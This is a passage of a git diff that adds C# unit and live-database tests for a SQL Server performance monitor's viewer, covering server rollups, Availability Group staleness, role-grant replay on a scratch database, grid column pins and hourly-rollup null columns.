+    public void Rollup_WithASearch_CountsAndRanksOnlyTheMatchingServers()
+    {
+        var cards = new List<ServerSummaryItem> { Healthy("prod-a", 1), Offline("prod-b", 2), Offline("test-c", 3) };
+
+        var rollup = OverviewCardView.BuildRollup(cards, new FleetTotals(), registeredCount: 4, search: "prod");
+
+        Assert.Equal(2, rollup.TotalServers);
+        Assert.Equal(4, rollup.FilteredOfTotal);
+        Assert.Equal("Monitoring 2 of 4 servers", rollup.MonitoringText);
+        Assert.Equal(new[] { "prod-b" }, rollup.WorstServers.Select(w => w.DisplayName).ToArray());
+        Assert.Equal(0, rollup.UnknownCount);
+    }
+
+    [Fact]
+    public void Rollup_WithASearchThatMatchesNothing_ReadsZeroOfTotal()
+    {
+        var cards = new List<ServerSummaryItem> { Healthy("prod-a", 1) };
+
+        var rollup = OverviewCardView.BuildRollup(cards, new FleetTotals(), registeredCount: 1, search: "zzz");
+
+        Assert.Equal("Monitoring 0 of 1 server", rollup.MonitoringText);
+        Assert.Empty(rollup.WorstServers);
+    }
+
+    // ── D10: an Availability Group on old data is Stale, never Healthy ──────────────────────────────
+
+    private static AgTopologyReplicaRow Replica(DateTime collected) => new()
+    {
+        ServerId = 1,
+        ServerName = "ag-fixture",
+        CollectionTime = collected,
+        AgName = "AG1",
+        ReplicaServerName = "ag-fixture",
+        RoleDesc = "PRIMARY",
+        IsLocal = true,
+        OperationalStateDesc = "ONLINE",
+        ConnectedStateDesc = "CONNECTED",
+        RecoveryHealthDesc = "ONLINE",
+        SynchronizationHealthDesc = "HEALTHY",
+        AvailabilityModeDesc = "SYNCHRONOUS_COMMIT",
+        FailoverModeDesc = "AUTOMATIC",
+    };
+
+    [Fact]
+    public void AgCard_On13DayOldData_IsStaleAndWarning_NotHealthy()
+    {
+        var now = Utc(2026, 10, 8, 12, 0);
+
+        var card = AgTopology.BuildCards(new[] { Replica(Utc(2026, 9, 25, 12, 0)) }, Array.Empty<AgTopologyDatabaseRow>(), now).Single();
+
+        Assert.True(card.IsStale);
+        Assert.Equal("Stale", card.SeverityLabel);
+        Assert.Equal(HealthSeverity.Warning, card.Severity);
+    }
+
+    [Fact]
+    public void AgCard_WithinTheOfflineThreshold_StaysHealthy()
+    {
+        var now = Utc(2026, 10, 8, 12, 0);
+
+        var card = AgTopology.BuildCards(new[] { Replica(now.AddMinutes(-29)) }, Array.Empty<AgTopologyDatabaseRow>(), now).Single();
+
+        Assert.False(card.IsStale);
+        Assert.Equal("Healthy", card.SeverityLabel);
+    }
+
+    [Fact]
+    public void AgCard_StaleMark_ChangesTheDigest_SoTheTabRedrawsEvenWhenTheRowsDidNot()
+    {
+        var rows = new[] { Replica(Utc(2026, 10, 8, 11, 45)) };
+
+        var fresh = AgTopology.BuildCards(rows, Array.Empty<AgTopologyDatabaseRow>(), Utc(2026, 10, 8, 12, 0));
+        var later = AgTopology.BuildCards(rows, Array.Empty<AgTopologyDatabaseRow>(), Utc(2026, 10, 8, 14, 0));
+
+        Assert.NotEqual(AgTopology.ComputeDigest(fresh), AgTopology.ComputeDigest(later));
+    }
+
+    [Fact]
+    public void AgCard_StaleMark_SurvivesAnInPlaceUpdate()
+    {
+        var rows = new[] { Replica(Utc(2026, 9, 25, 12, 0)) };
+        var shown = AgTopology.BuildCards(rows, Array.Empty<AgTopologyDatabaseRow>(), Utc(2026, 9, 25, 12, 5)).Single();
+        Assert.False(shown.IsStale);
+
+        shown.UpdateFrom(AgTopology.BuildCards(rows, Array.Empty<AgTopologyDatabaseRow>(), Utc(2026, 10, 8, 12, 0)).Single());
+
+        Assert.True(shown.IsStale);
+        Assert.Equal("Stale", shown.SeverityLabel);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFleetTimerGuardTests.cs b/Darling/Darling.Tests/ViewerFleetTimerGuardTests.cs
index dbef9cd2a3..f5e2a4f52c 100644
--- a/Darling/Darling.Tests/ViewerFleetTimerGuardTests.cs
+++ b/Darling/Darling.Tests/ViewerFleetTimerGuardTests.cs
@@ -67,6 +67,7 @@ namespace Darling.Tests;
 /// that makes it safe. The assertion was passing for the wrong reason, which is worth less than a failure,
 /// and only a mutation aimed at the claim rather than at the fix could tell the two apart.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ViewerFleetTimerGuardTests
 {
     /// <summary>The two <c>DispatcherTimer</c> ticks that run at <c>NocRefreshIntervalSeconds</c>.</summary>
diff --git a/Darling/Darling.Tests/ViewerGrantReplay.cs b/Darling/Darling.Tests/ViewerGrantReplay.cs
new file mode 100644
index 0000000000..361cb9d044
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerGrantReplay.cs
@@ -0,0 +1,75 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Darling.Service;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The viewer role's provisioned grants, taken from the product's <see cref="DarlingManagedRoles.BuildProvisioningSql"/>
+/// and retargeted at a scratch role (#5137 review L3, shared with #5239): every GRANT / REVOKE that names
+/// <c>viewer</c>, in order, so a live test runs as a role holding exactly what a deployment's viewer holds.
+/// <para>The provisioning batch names the store's database (<c>darling</c> on a managed store), and a replay that kept
+/// that name would rewrite the CONNECT ACL of the shared cluster's <c>darling</c> database from every test that
+/// replays: two sessions rewriting one catalog row at once make the second fail with XX000 "tuple concurrently
+/// updated" (#5560). So every replay is pointed at the test's own scratch database, through
+/// <see cref="OnDatabase"/>.</para>
+/// </summary>
+internal static class ViewerGrantReplay
+{
+    public static List<string> StatementsFor(string roleName, string scratchDatabase)
+    {
+        var provisioning = DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp);
+        var viewerStatements = new List<string>();
+        /* Drop the comment lines BEFORE splitting: the provisioning prose contains semicolons. */
+        var uncommented = string.Join('\n', provisioning.Split('\n').Where(l => !l.TrimStart().StartsWith("--", StringComparison.Ordinal)));
+        foreach (var raw in uncommented.Split(';'))
+        {
+            var statement = raw.Trim();
+            var isGrant = statement.StartsWith("GRANT ", StringComparison.Ordinal);
+            if (!isGrant && !statement.StartsWith("REVOKE ", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var marker = isGrant ? " TO " : " FROM ";
+            var at = statement.LastIndexOf(marker, StringComparison.Ordinal);
+            if (at < 0 || statement.Contains("EXECUTE ON FUNCTION", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var targets = statement[(at + marker.Length)..].Split(',').Select(t => t.Trim()).ToList();
+            if (!targets.Contains("viewer", StringComparer.Ordinal))
+            {
+                continue;
+            }
+
+            viewerStatements.Add(OnDatabase(statement[..at], scratchDatabase) + marker + roleName);
+        }
+
+        return viewerStatements;
+    }
+
+    /// <summary>
+    /// A replayed GRANT / REVOKE head (everything before <c>TO</c> / <c>FROM</c>), with the managed store's database
+    /// name swapped for <paramref name="scratchDatabase"/> when it is a database-level privilege. Other statements
+    /// come back unchanged: they name schemas and tables, which live in the scratch database already.
+    /// </summary>
+    internal static string OnDatabase(string statementHead, string scratchDatabase)
+    {
+        var shared = ProvisioningTarget.Managed.DatabaseIdentifier;
+        return statementHead.EndsWith(" ON DATABASE " + shared, StringComparison.Ordinal)
+            ? statementHead[..^shared.Length] + "\"" + scratchDatabase.Replace("\"", "\"\"", StringComparison.Ordinal) + "\""
+            : statementHead;
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerGridPayloadColumnOrderPinTests.cs b/Darling/Darling.Tests/ViewerGridPayloadColumnOrderPinTests.cs
index 9b960920d7..4d688f4b8d 100644
--- a/Darling/Darling.Tests/ViewerGridPayloadColumnOrderPinTests.cs
+++ b/Darling/Darling.Tests/ViewerGridPayloadColumnOrderPinTests.cs
@@ -46,6 +46,8 @@ namespace Darling.Tests;
 /// exactly like the other parity pins. Headers are read verbatim, so a header carrying an XML entity would
 /// have to be written into the table in its raw <c>&amp;#x0394;</c> form; no pinned header has one today.
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class ViewerGridPayloadColumnOrderPinTests
 {
     /// <summary>A grid whose payload columns are pinned: where the anchor sits, and what must follow it.</summary>
diff --git a/Darling/Darling.Tests/ViewerGridTimeColumnSortMemberTests.cs b/Darling/Darling.Tests/ViewerGridTimeColumnSortMemberTests.cs
index 425f3bdfa8..ab2122fe86 100644
--- a/Darling/Darling.Tests/ViewerGridTimeColumnSortMemberTests.cs
+++ b/Darling/Darling.Tests/ViewerGridTimeColumnSortMemberTests.cs
@@ -78,6 +78,11 @@ public sealed class ViewerGridTimeColumnSortMemberTests
         { "ViewerServerTab.xaml", "BlockedProcessReportGrid", "EventTimeLocal", Name(typeof(ViewerBlockedProcessRow)), "EventTime" },
         { "ViewerServerTab.xaml", "DeadlockGrid", "DeadlockTimeLocal", Name(typeof(DeadlockProcessDetail)), "DeadlockTime" },
         { "ViewerServerTab.xaml", "AutomaticTuningGrid", "CollectionTimeLocal", Name(typeof(AutomaticTuningRow)), "CollectionTime" },
+        { "ViewerServerTab.xaml", "ServerConfigGrid", "CaptureTimeLocal", Name(typeof(ServerConfigRow)), "CaptureTime" },
+        { "ViewerServerTab.xaml", "DatabaseConfigGrid", "CaptureTimeLocal", Name(typeof(DatabaseConfigRow)), "CaptureTime" },
+        { "ViewerServerTab.xaml", "DatabaseScopedConfigGrid", "CaptureTimeLocal", Name(typeof(DatabaseScopedConfigRow)), "CaptureTime" },
+        { "ViewerServerTab.xaml", "QueryStoreHealthGrid", "CaptureTimeLocal", Name(typeof(QueryStoreHealthRow)), "CaptureTime" },
+        { "ViewerServerTab.xaml", "TraceFlagsGrid", "CaptureTimeLocal", Name(typeof(TraceFlagRow)), "CaptureTime" },
         { "ViewerServerTab.xaml", "ServerConfigChangesGrid", "ChangeTimeDisplay", Name(typeof(ServerConfigChangeRow)), "ChangeTime" },
         { "ViewerServerTab.xaml", "DatabaseConfigChangesGrid", "ChangeTimeDisplay", Name(typeof(DatabaseConfigChangeRow)), "ChangeTime" },
         { "ViewerServerTab.xaml", "TraceFlagChangesGrid", "ChangeTimeDisplay", Name(typeof(TraceFlagChangeRow)), "ChangeTime" },
@@ -127,6 +132,12 @@ public sealed class ViewerGridTimeColumnSortMemberTests
         { "ViewerServerTab.xaml", "ProcedureStatsGrid", "LastExecutionTimeLocal", Name(typeof(ViewerProcedureStatsRow)), "LastExecutionTime" },
         { "ViewerServerTab.xaml", "ProcedureStatsGrid", "CachedTimeFormatted", Name(typeof(ViewerProcedureStatsRow)), "CachedTime" },
         { "ViewerServerTab.xaml", "RunningJobsGrid", "StartTimeLocal", Name(typeof(RunningJobRow)), "StartTime" },
+
+        /* The last "Collected" column of the four newest-snapshot grids (#4966): naive-UTC CollectionTime, shown in the display zone. */
+        { "ViewerServerTab.xaml", "RunningJobsGrid", "CollectionTimeLocal", Name(typeof(RunningJobRow)), "CollectionTime" },
+        { "ViewerServerTab.xaml", "CpuSchedulerGrid", "CollectionTimeLocal", Name(typeof(CpuSchedulerGridRow)), "CollectionTime" },
+        { "ViewerServerTab.xaml", "LatchStatsGrid", "CollectionTimeLocal", Name(typeof(LatchStatsSnapshotRow)), "CollectionTime" },
+        { "ViewerServerTab.xaml", "SpinlockStatsGrid", "CollectionTimeLocal", Name(typeof(SpinlockStatsSnapshotRow)), "CollectionTime" },
         { "ProcedureHistoryWindow.xaml", "HistoryDataGrid", "LastExecutionTimeLocal", Name(typeof(ViewerProcedureStatsHistoryRow)), "LastExecutionTime" },
         { "ProcedureHistoryWindow.xaml", "HistoryDataGrid", "CachedTimeLocal", Name(typeof(ViewerProcedureStatsHistoryRow)), "CachedTime" },
         { "QueryStatsHistoryWindow.xaml", "HistoryDataGrid", "LastExecutionTimeLocal", Name(typeof(ViewerQueryStatsHistoryRow)), "LastExecutionTime" },
@@ -166,6 +177,16 @@ instant its text is formatted from. */
         { "ViewerServerTab.xaml", "PgReplicationStatsGrid", "BackendStart", Name(typeof(PgDisplay.ReplicationStatRow)), "BackendStartUtc" },
         { "ViewerServerTab.xaml", "PgIndexBloatGrid", "MeasuredAt", Name(typeof(PgDisplay.IndexBloatRow)), "MeasuredAtUtc" },
         { "ViewerServerTab.xaml", "PgIndexBloatGrid", "EstimatedAt", Name(typeof(PgDisplay.IndexBloatRow)), "EstimatedAtUtc" },
+
+        /* #4966: the latest-state grids show their snapshot time as a column. */
+        { "ViewerServerTab.xaml", "PgExtensionsGrid", "CaptureTime", Name(typeof(PgDisplay.ExtensionRow)), "CaptureTimeUtc" },
+        { "ViewerServerTab.xaml", "PgServerConfigGrid", "CollectionTime", Name(typeof(PgDisplay.ServerConfigRow)), "CollectionTimeUtc" },
+        { "ViewerServerTab.xaml", "PgBufferUsageGrid", "CaptureTime", Name(typeof(PgDisplay.BufferUsageRow)), "CaptureTimeUtc" },
+        { "ViewerServerTab.xaml", "PgPredicateStatsGrid", "CaptureTime", Name(typeof(PgDisplay.PredicateStatRow)), "CaptureTimeUtc" },
+        { "ViewerServerTab.xaml", "PgPlanCaptureGrid", "CaptureTime", Name(typeof(PgDisplay.PlanCaptureRow)), "CaptureTimeUtc" },
+        { "FinOpsTab.xaml", "FinOpsObjectIndexDetailGrid", "CollectionTime", Name(typeof(IndexUsageRow)), "CollectionTimeUtc" },
+        { "FinOpsTab.xaml", "FinOpsIndexAnalysisRollupGrid", "CollectionTime", Name(typeof(IndexCleanupRollupRow)), "CollectionTimeUtc" },
+        { "FinOpsTab.xaml", "FinOpsIndexAnalysisDetailGrid", "CollectionTime", Name(typeof(IndexCleanupRecommendationRow)), "CollectionTimeUtc" },
     };
 
     /// <summary>
diff --git a/Darling/Darling.Tests/ViewerGridTimeTextZoneTests.cs b/Darling/Darling.Tests/ViewerGridTimeTextZoneTests.cs
index f75a39cf35..46e3a49fff 100644
--- a/Darling/Darling.Tests/ViewerGridTimeTextZoneTests.cs
+++ b/Darling/Darling.Tests/ViewerGridTimeTextZoneTests.cs
@@ -170,14 +170,18 @@ public void EachColumn_BindsItsText_SortsByItsUtcDateTime_AndFiltersOnTheDateTim
     /// The readers set the UTC instant beside each converted DateTime, so a row can never show the default 0001-01-01.
     /// </summary>
     [Theory]
-    [InlineData("ViewerDataService.FinOps.Workload.cs", "FirstSeenUtc = reader.GetDateTime(18)")]
-    [InlineData("ViewerDataService.FinOps.Workload.cs", "LastSeenUtc = reader.GetDateTime(19)")]
-    [InlineData("ViewerDataService.FinOps.Inventory.cs", "InventoryAsOfUtc = reader.IsDBNull(13) ? null : reader.GetDateTime(13)")]
-    [InlineData("ViewerDataService.FinOps.Inventory.cs", "LastCollectedUtc = reader.IsDBNull(19) ? null : reader.GetDateTime(19)")]
-    [InlineData("ViewerDataService.QueryStoreClutter.cs", "OptionsCapturedUtc = c?.CapturedAt")]
-    [InlineData("ViewerDataService.QueryStoreClutter.cs", "LastObservedUtc = w.LastObserved")]
-    public void EachReader_SetsTheUtcInstant_BesideTheConvertedDateTime(string file, string assignment)
+    [InlineData("PerformanceMonitor.Darling.Storage", "FinOps/DarlingFinOpsApplicationConnectionsReader.cs", "FirstSeenUtc: reader.GetDateTime(18)")]
+    [InlineData("PerformanceMonitor.Darling.Storage", "FinOps/DarlingFinOpsApplicationConnectionsReader.cs", "LastSeenUtc: reader.GetDateTime(19)")]
+    [InlineData(ViewerFolder, "ViewerDataService.FinOps.cs", "FirstSeenUtc = d.FirstSeenUtc")]
+    [InlineData(ViewerFolder, "ViewerDataService.FinOps.cs", "LastSeenUtc = d.LastSeenUtc")]
+    [InlineData("PerformanceMonitor.Darling.Storage", "FinOps/DarlingFinOpsInventoryReader.cs", "InventoryAsOfUtc: reader.IsDBNull(13) ? null : reader.GetDateTime(13)")]
+    [InlineData("PerformanceMonitor.Darling.Storage", "FinOps/DarlingFinOpsInventoryReader.cs", "LastCollectedUtc: reader.IsDBNull(19) ? null : reader.GetDateTime(19)")]
+    [InlineData(ViewerFolder, "ViewerDataService.FinOps.cs", "InventoryAsOfUtc = dto.InventoryAsOfUtc")]
+    [InlineData(ViewerFolder, "ViewerDataService.FinOps.cs", "LastCollectedUtc = dto.LastCollectedUtc")]
+    [InlineData(ViewerFolder, "ViewerDataService.QueryStoreClutter.cs", "OptionsCapturedUtc = c?.CapturedAt")]
+    [InlineData(ViewerFolder, "ViewerDataService.QueryStoreClutter.cs", "LastObservedUtc = w.LastObserved")]
+    public void EachReader_SetsTheUtcInstant_BesideTheConvertedDateTime(string project, string file, string assignment)
     {
-        Assert.Contains(assignment, ReadRepoFile("Darling", ViewerFolder, file), StringComparison.Ordinal);
+        Assert.Contains(assignment, ReadRepoFile(["Darling", project, .. file.Split('/')]), StringComparison.Ordinal);
     }
 }
diff --git a/Darling/Darling.Tests/ViewerHourlyRouteBlankColumnsLiveTests.cs b/Darling/Darling.Tests/ViewerHourlyRouteBlankColumnsLiveTests.cs
new file mode 100644
index 0000000000..ec47233836
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerHourlyRouteBlankColumnsLiveTests.cs
@@ -0,0 +1,304 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5329: the viewer's Top Queries and Top Procedures reads on the hourly route show BLANK (null) for the columns
+/// the hourly rollups keep no copy of, instead of a false 0, and the raw route still returns the values.
+///
+/// <para>The rollups keep worker time, elapsed time and execution counts and nothing else. Before this change the
+/// hourly arm left every other measure at the row's default, so the grid showed 0 reads, 0 writes and 0 spills for
+/// a window that did a lot of I/O, and a reads sort ranked by those zeros. The MCP reads already answer null with a
+/// precision note; this pins the viewer to the same promise, against real rollups: one query and one procedure
+/// seeded with nonzero reads, writes, physical reads, rows and spills, read once while raw holds them and once
+/// after raw is purged and the refreshed hourly rollup is all that is left.</para>
+///
+/// <para><b>#1776 own-store</b> — the test mints a scratch database (it materializes continuous aggregates the
+/// shared fixture must never inherit), so the class is deliberately NOT in the <c>live-postgres</c>
+/// collection.</para>
+/// </summary>
+public sealed class ViewerHourlyRouteBlankColumnsLiveTests
+{
+    private const int ServerId = -947201;
+    private const string ServerName = "viewer-hourly-blank";
+    private const string Db = "HourlyBlankDb";
+    private const string QueryHash = "0xHBQ1";
+    private const string ProcName = "usp_HourlyBlank";
+
+    /// <summary>A fixed anchor, never wall-clock relative: the purge of raw's rows (and the refresh of the rollup)
+    /// is what moves the router, not calendar time.</summary>
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+
+    [Fact]
+    public async Task HourlyRoute_ReadsBlankForTheColumnsTheRollupLacks_AndRawRouteReadsValues()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live hourly-route blank-column test.");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live hourly-route blank-column test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var windowEnd = WindowStart.AddDays(1);
+        var end = WindowStart.AddHours(4);
+        var bodySucceeded = false;
+        try
+        {
+            /* Two hours, 10 and 20 executions, each stamped 10 minutes past its hour. Every I/O measure is nonzero. */
+            await PlantQueryAsync(connection, WindowStart.AddHours(1).AddMinutes(10), 10, ct);
+            await PlantQueryAsync(connection, WindowStart.AddHours(2).AddMinutes(10), 20, ct);
+            await PlantProcedureAsync(connection, WindowStart.AddHours(1).AddMinutes(10), 10, ct);
+            await PlantProcedureAsync(connection, WindowStart.AddHours(2).AddMinutes(10), 20, ct);
+
+            /* ── raw route: the values are there. ── */
+            await using (var rawViewer = new ViewerDataService(scratch.ConnectionString))
+            {
+                var (queries, queriesTier) = await rawViewer.GetTopQueriesByCpuTierAsync(ServerId, WindowStart, end, cancellationToken: ct);
+                Assert.Equal("raw", queriesTier);
+                var q = Assert.Single(queries);
+                Assert.Equal(30L, q.TotalExecutions);
+                Assert.Equal(3_000L, q.TotalLogicalReads);
+                Assert.Equal(300L, q.TotalLogicalWrites);
+                Assert.Equal(30L, q.TotalPhysicalReads);
+                Assert.Equal(90L, q.TotalRows);
+                Assert.Equal(60L, q.TotalSpills);
+                Assert.Equal(MinWorkerUs, q.MinCpuUs);
+                Assert.Equal(MaxWorkerUs, q.MaxCpuUs);
+                Assert.Equal(MinElapsedUs, q.MinElapsedUs);
+                Assert.Equal(MaxElapsedUs, q.MaxElapsedUs);
+                Assert.Equal(0.85, q.MinElapsedMs);
+
+                var (procedures, proceduresTier) = await rawViewer.GetTopProceduresByCpuTierAsync(ServerId, WindowStart, end, cancellationToken: ct);
+                Assert.Equal("raw", proceduresTier);
+                var p = Assert.Single(procedures);
+                Assert.Equal(30L, p.TotalExecutions);
+                Assert.Equal(3_000L, p.TotalLogicalReads);
+                Assert.Equal(300L, p.TotalLogicalWrites);
+                Assert.Equal(30L, p.TotalPhysicalReads);
+                Assert.Equal(60L, p.TotalSpills);
+                Assert.Equal(100.0, p.AvgReads);
+                Assert.Equal(MinWorkerUs, p.MinWorkerTimeUs);
+                Assert.Equal(MaxWorkerUs, p.MaxWorkerTimeUs);
+                Assert.Equal(MinElapsedUs, p.MinElapsedTimeUs);
+                Assert.Equal(MaxElapsedUs, p.MaxElapsedTimeUs);
+            }
+
+            /* Refresh the hourly rollups over the window BEFORE deleting raw (the product's own refresh path), then purge raw. */
+            await RefreshAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, WindowStart, windowEnd.AddHours(1), ct);
+            await RefreshAsync(connection, TimescaleSupport.ProcedureStatsIntervalHourlyView, WindowStart, windowEnd.AddHours(1), ct);
+            foreach (var table in new[] { "query_stats", "procedure_stats" })
+            {
+                await using var purge = new NpgsqlCommand(
+                    $"DELETE FROM collect.{table} WHERE server_id = $1 AND collection_time >= $2 AND collection_time < $3", connection);
+                purge.Parameters.AddWithValue(ServerId);
+                purge.Parameters.AddWithValue(WindowStart);
+                purge.Parameters.AddWithValue(windowEnd);
+                await purge.ExecuteNonQueryAsync(ct);
+            }
+
+            /* ── hourly route: a FRESH viewer, since the rollup probe is cached per instance. ── */
+            await using var hourlyViewer = new ViewerDataService(scratch.ConnectionString);
+
+            var (hourlyQueries, hourlyQueriesTier) = await hourlyViewer.GetTopQueriesByCpuTierAsync(ServerId, WindowStart, end, cancellationToken: ct);
+            Assert.Equal("hourly", hourlyQueriesTier);
+            var hq = Assert.Single(hourlyQueries);
+            /* What the rollup keeps still reads as numbers. */
+            Assert.Equal(30L, hq.TotalExecutions);
+            Assert.Equal(30_000L, hq.TotalCpuUs);
+            Assert.Equal(27_000L, hq.TotalElapsedUs);
+            /* What it does not keep reads as blank, never 0. The rollup holds min/max of per-collection deltas (sums over many
+               executions), not per-execution extremes, so Min/Max CPU and elapsed are blank too: the planted executions all ran 850 to
+               950 us, and the rollup would have shown 9,000 and 18,000. */
+            Assert.Null(hq.MinCpuUs);
+            Assert.Null(hq.MaxCpuUs);
+            Assert.Null(hq.MinElapsedUs);
+            Assert.Null(hq.MaxElapsedUs);
+            Assert.Null(hq.MinCpuMs);
+            Assert.Null(hq.MaxCpuMs);
+            Assert.Null(hq.MinElapsedMs);
+            Assert.Null(hq.MaxElapsedMs);
+            Assert.Null(hq.TotalLogicalReads);
+            Assert.Null(hq.AvgReads);
+            Assert.Null(hq.TotalLogicalWrites);
+            Assert.Null(hq.TotalPhysicalReads);
+            Assert.Null(hq.TotalRows);
+            Assert.Null(hq.TotalSpills);
+            Assert.Null(hq.MinPhysicalReads);
+            Assert.Null(hq.MaxPhysicalReads);
+            Assert.Null(hq.MinRows);
+            Assert.Null(hq.MaxRows);
+            Assert.Null(hq.MinSpills);
+            Assert.Null(hq.MaxSpills);
+            Assert.Null(hq.MinDop);
+            Assert.Null(hq.MaxDop);
+            Assert.Null(hq.MinGrantKb);
+            Assert.Null(hq.MaxGrantKb);
+            Assert.Null(hq.MinUsedGrantKb);
+            Assert.Null(hq.MaxUsedGrantKb);
+            Assert.Null(hq.MinIdealGrantKb);
+            Assert.Null(hq.MaxIdealGrantKb);
+            Assert.Null(hq.MinReservedThreads);
+            Assert.Null(hq.MaxReservedThreads);
+            Assert.Null(hq.MinUsedThreads);
+            Assert.Null(hq.MaxUsedThreads);
+            Assert.Null(hq.TotalClrUs);
+            Assert.Null(hq.TotalClrMs);
+            Assert.Null(hq.PlanGenerationNum);
+            Assert.Null(hq.WorkerTimePerSecond);
+
+            var (hourlyProcedures, hourlyProceduresTier) = await hourlyViewer.GetTopProceduresByCpuTierAsync(ServerId, WindowStart, end, cancellationToken: ct);
+            Assert.Equal("hourly", hourlyProceduresTier);
+            var hp = Assert.Single(hourlyProcedures);
+            Assert.Equal(30L, hp.TotalExecutions);
+            Assert.Equal(30_000L, hp.TotalCpuUs);
+            Assert.Null(hp.MinWorkerTimeUs);
+            Assert.Null(hp.MaxWorkerTimeUs);
+            Assert.Null(hp.MinElapsedTimeUs);
+            Assert.Null(hp.MaxElapsedTimeUs);
+            Assert.Null(hp.MinCpuMs);
+            Assert.Null(hp.MaxCpuMs);
+            Assert.Null(hp.MinElapsedMs);
+            Assert.Null(hp.MaxElapsedMs);
+            Assert.Null(hp.TotalLogicalReads);
+            Assert.Null(hp.AvgReads);
+            Assert.Null(hp.TotalLogicalWrites);
+            Assert.Null(hp.TotalPhysicalReads);
+            Assert.Null(hp.MinLogicalReads);
+            Assert.Null(hp.MaxLogicalReads);
+            Assert.Null(hp.MinPhysicalReads);
+            Assert.Null(hp.MaxPhysicalReads);
+            Assert.Null(hp.MinLogicalWrites);
+            Assert.Null(hp.MaxLogicalWrites);
+            Assert.Null(hp.TotalSpills);
+            Assert.Null(hp.AvgSpills);
+            Assert.Null(hp.MinSpills);
+            Assert.Null(hp.MaxSpills);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                var schedulers = Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt));
+                Assert.Equal(0L, schedulers);
+            });
+        }
+    }
+
+    /// <summary>One query_stats row with nonzero I/O: per execution 100 reads, 10 writes, 1 physical read, 3 rows, 2 spills.</summary>
+    private static async Task PlantQueryAsync(NpgsqlConnection connection, DateTime at, long executions, CancellationToken ct)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds,
+     delta_logical_reads, delta_logical_writes, delta_physical_reads, delta_rows, delta_spills,
+     min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20)", connection);
+        insert.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        insert.Parameters.AddWithValue(DarlingMcpTestData.TruncateToSeconds(at));
+        insert.Parameters.AddWithValue(ServerId);
+        insert.Parameters.AddWithValue(ServerName);
+        insert.Parameters.AddWithValue(Db);
+        insert.Parameters.AddWithValue(QueryHash);
+        insert.Parameters.AddWithValue("0xHBQ1H");
+        insert.Parameters.AddWithValue(executions * 1_000L);
+        insert.Parameters.AddWithValue(executions * 900L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(3600);
+        insert.Parameters.AddWithValue(executions * 100L);
+        insert.Parameters.AddWithValue(executions * 10L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(executions * 3L);
+        insert.Parameters.AddWithValue(executions * 2L);
+        AddPerExecutionExtremes(insert);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>One procedure_stats row with the same per-execution I/O (no rows column on procedures).</summary>
+    private static async Task PlantProcedureAsync(NpgsqlConnection connection, DateTime at, long executions, CancellationToken ct)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.procedure_stats
